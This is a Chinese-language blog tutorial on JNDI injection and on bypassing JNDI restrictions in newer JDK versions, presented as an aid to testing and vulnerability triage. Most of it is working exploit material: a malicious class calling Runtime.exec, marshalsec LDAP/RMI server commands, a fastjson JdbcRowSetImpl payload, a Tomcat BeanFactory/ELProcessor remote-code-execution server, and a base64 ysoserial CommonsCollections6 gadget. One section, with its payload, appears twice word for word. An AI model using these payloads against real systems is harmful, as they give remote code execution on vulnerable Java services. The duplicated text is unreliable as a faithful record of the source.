JNDI注入与高版本绕过方式

发布时间 2023-07-07 11:13:18作者: 少年阿丁

JNDI注入与高版本绕过方式

为了方便大家测试与漏洞排查,为大家总结了快速验证漏洞的各种方式

一、简单利用marshalsec快速搭建JNDI(ldap/rmi)服务

marshalsec是一款java反序列利用工具,其可以很方便的起一个ldap或rmi服务,通过这些服务来去访问攻击者准备好的恶意执行类来达到远程命令执行或入侵的目的。

marshalsec的git地址,进行编译可生成marshalsec-0.0.3-SNAPSHOT-all.jar
https://github.com/mbechler/marshalsec

第一步:

javac编译恶意TestCalc.class文件

>javac TestCalc.java
public class TestCalc {
    public TestCalc() throws IOException {
        System.out.println("TestCalcinit");
        Runtime.getRuntime().exec("calc");
    }
}

第二步:

使用java18启动简单web服务在指定目录

jwebserver -p 8000 -d D:\JNDI\testWWW -b 127.0.0.1 -o info

第三步:

运行marshalsec的jar包启动LDAP服务,指定ldap的端口和web服务器的url

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#TestCalc" 1389
#或者rmi服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8000/#TestCalc 1099

第四步:

最后利用fastjson、log4j或其他jndi漏洞即可触发命令执行

例:
客户端

//        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
//        System.setProperty("com.sun.jndi.cosnaming.object.trustURLCodebase","true");
//        System.setProperty("java.rmi.server.useCodebaseOnly", "false");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");//高版本jdk需要配置,后面会讲高版本jdk的绕过方式
        String url = "ldap://127.0.0.1:1389/TestCalc";//ldap方式
        InitialContext initialContext=new InitialContext();
        initialContext.lookup(url);
        System.out.println("客户端调用,执行恶意代码");

fastjson可用如下payload:

{
    "user":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },"password":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://127.0.0.1:1389/TestCalc",    #启动的LDAP服务ip+端口   
        "autoCommit":true
    }
}

二、JNDI在高版本jdk中的绕过方式

参考:https://www.v2as.com/article/7ce65bf2-5da5-4b68-bc61-af5fbddf9f8d

1、基于本地工厂类的利用方法

从本地工厂类实现RCE还有一个具体要求,在NamingManager.getObjectInstance中,成功得到工厂类factory后,会调用factory.getObjectInstance(ref, name, nameCtx,environment)方法,创建JNDI客户端真正需要的实例对象
也就是说,我们需要找到合适的ObjectFactory类,要求它还实现了getObjectInstance方法,并且能够实现RCE

根据源代码的逻辑,我们可用得到这样几个信息,在ldap或rmi服务器端,我们可用设定几个特殊的RefAddr,
1该类必须有无参构造方法
2并在其中设置一个forceString字段指定某个特殊方法名,该方法执行String类型的参数
3通过上面的方法和一个String参数即可实现RCE

javax.el.ELProcessor
恰好有javax.el.ELProcessor满足该条件!

Server端设置如下:
pom.xml

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-dbcp</artifactId>
    <version>9.0.8</version>
</dependency>
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>9.0.8</version>
</dependency>
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-jasper</artifactId>
    <version>9.0.8</version>
</dependency>

server端代码如下:

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class TomcatBeanFactoryServer {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        // 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);

        // 强制将 'x' 属性的setter 从 'setX' 变为 'eval', 详细逻辑见 BeanFactory.getObjectInstance 代码
        ref.add(new StringRefAddr("forceString", "bitterz=eval"));

        // 指定bitterz属性指定其setter方法需要的参数,实际是ElProcessor.eval方法执行的参数,利用表达式执行命令
        ref.add(new StringRefAddr("bitterz", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));

        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("Exploit", referenceWrapper);  // 绑定目录名
        System.out.println("Server Started!");
    }
}

客户端执行请求:

    public static void main(String[] args) throws NamingException {
        String url = "rmi://xxx.xxx.xx.xx:1099/Exploit";//
        InitialContext initialContext=new InitialContext();
        initialContext.lookup(url);
        System.out.println("客户端调用,执行恶意代码");
    }

这种绕过方式需要目标环境中存在Tomcat相关依赖

2、基于服务端返回数据流的反序列化RCE

可使用JNDI-Exploit-Bypass-Demo进行服务端快速搭建

JNDI-Exploit-Bypass-Demo
一个用于生成jndi在jdk高版本中 反序列化方式绕过 的工具项目,可以直接搭建jdk高版本绕过的LDAP或rmi服务端
https://github.com/kxcode/JNDI-Exploit-Bypass-Demo

其中有两个模块,主要的是HackerService模块,打包后可以生成HackerRMIRefServer-all.jar

需要手动修改序列化的恶意字节码字符(自己生成序列化字节或者使用Ysoserial工具生成),并进行打包运行,即可快速搭建服务

java -cp HackerRMIRefServer-all.jar HackerRMIRefServer 127.0.0.1 8080 1099
java -cp HackerRMIRefServer-all.jar HackerLDAPRefServer  127.0.0.1 8080 1389

>java -cp HackerRMIRefServer-all.jar HackerLDAPRefServer 127.0.0.1 8090 1389
HttpServerAddress: 127.0.0.1
HttpServerPort: 8090
LDAPServerPort: 1389
Starting HTTP server
Listening on 0.0.0.0:1389

需要修改的关键代码:

            /** Payload2: Return Serialized Gadget **/
            try {
                // java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 '/Applications/Calculator.app/Contents/MacOS/Calculator'|base64
                e.addAttribute("javaSerializedData",Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AAtjbWQgL2MgY2FsY3QABGV4ZWN1cQB+ABsAAAABcQB+ACBzcQB+AA9zcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh4"));
            } catch (ParseException e1) {
                e1.printStackTrace();
            }
            /** Payload2 end **/

第二个poc模块用于本地测试

//根据反序列化利用链,引入对应的包即可
//Test1: JNDI Lookup
        Hashtable env = new Hashtable();
        Context ctx = new InitialContext(env);
        Object local_obj = ctx.lookup("ldap://127.0.0.1:1389/Exploit");
//Test2: FastJson PoC
        String payload ="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":\"true\" }";
        JSON.parse(payload);

三、服务搭建过程可能使用到的工具

Ysoserial

Ysoserial一种概念验证工具,用于生成利用不安全 Java 对象反序列化的有效负载。

https://github.com/frohoff/ysoserial

下载后进行编译打包使用

简单使用:

linux下生成cc链payload并进行base64

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 'touch test.txt'|base64

windows下生成cc链payload

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 "cmd /c calc" > test.bin

windows下base64编码

certutil -f -encode "输入文件test.bin" "输出文件test.txt"
#解码
certutil -f -decode "输入文件" "输出文件"
#如果编码后的字符出现换行,用其他工具再进行一次解码编码即可

JNDI-Exploit-Bypass-Demo

一个用于生成jndi在jdk高版本中 反序列化方式绕过 的工具项目,可以直接搭建jdk高版本绕过的LDAP或rmi服务端
https://github.com/kxcode/JNDI-Exploit-Bypass-Demo

其中有两个模块,主要的是HackerService模块,打包后可以生成HackerRMIRefServer-all.jar

需要手动修改序列化的恶意字节码字符(自己生成序列化字节或者使用Ysoserial工具生成),并进行打包运行,即可快速搭建服务

java -cp HackerRMIRefServer-all.jar HackerRMIRefServer 127.0.0.1 8080 1099
java -cp HackerRMIRefServer-all.jar HackerLDAPRefServer  127.0.0.1 8080 1389

>java -cp HackerRMIRefServer-all.jar HackerLDAPRefServer 127.0.0.1 8090 1389
HttpServerAddress: 127.0.0.1
HttpServerPort: 8090
LDAPServerPort: 1389
Starting HTTP server
Listening on 0.0.0.0:1389

需要修改的关键代码:

            /** Payload2: Return Serialized Gadget **/
            try {
                // java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 '/Applications/Calculator.app/Contents/MacOS/Calculator'|base64
                e.addAttribute("javaSerializedData",Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AAtjbWQgL2MgY2FsY3QABGV4ZWN1cQB+ABsAAAABcQB+ACBzcQB+AA9zcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh4"));
            } catch (ParseException e1) {
                e1.printStackTrace();
            }
            /** Payload2 end **/

第二个poc模块用于本地测试

//根据反序列化利用链,引入对应的包即可
//Test1: JNDI Lookup
        Hashtable env = new Hashtable();
        Context ctx = new InitialContext(env);
        Object local_obj = ctx.lookup("ldap://127.0.0.1:1389/Exploit");
//Test2: FastJson PoC
        String payload ="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":\"true\" }";
        JSON.parse(payload);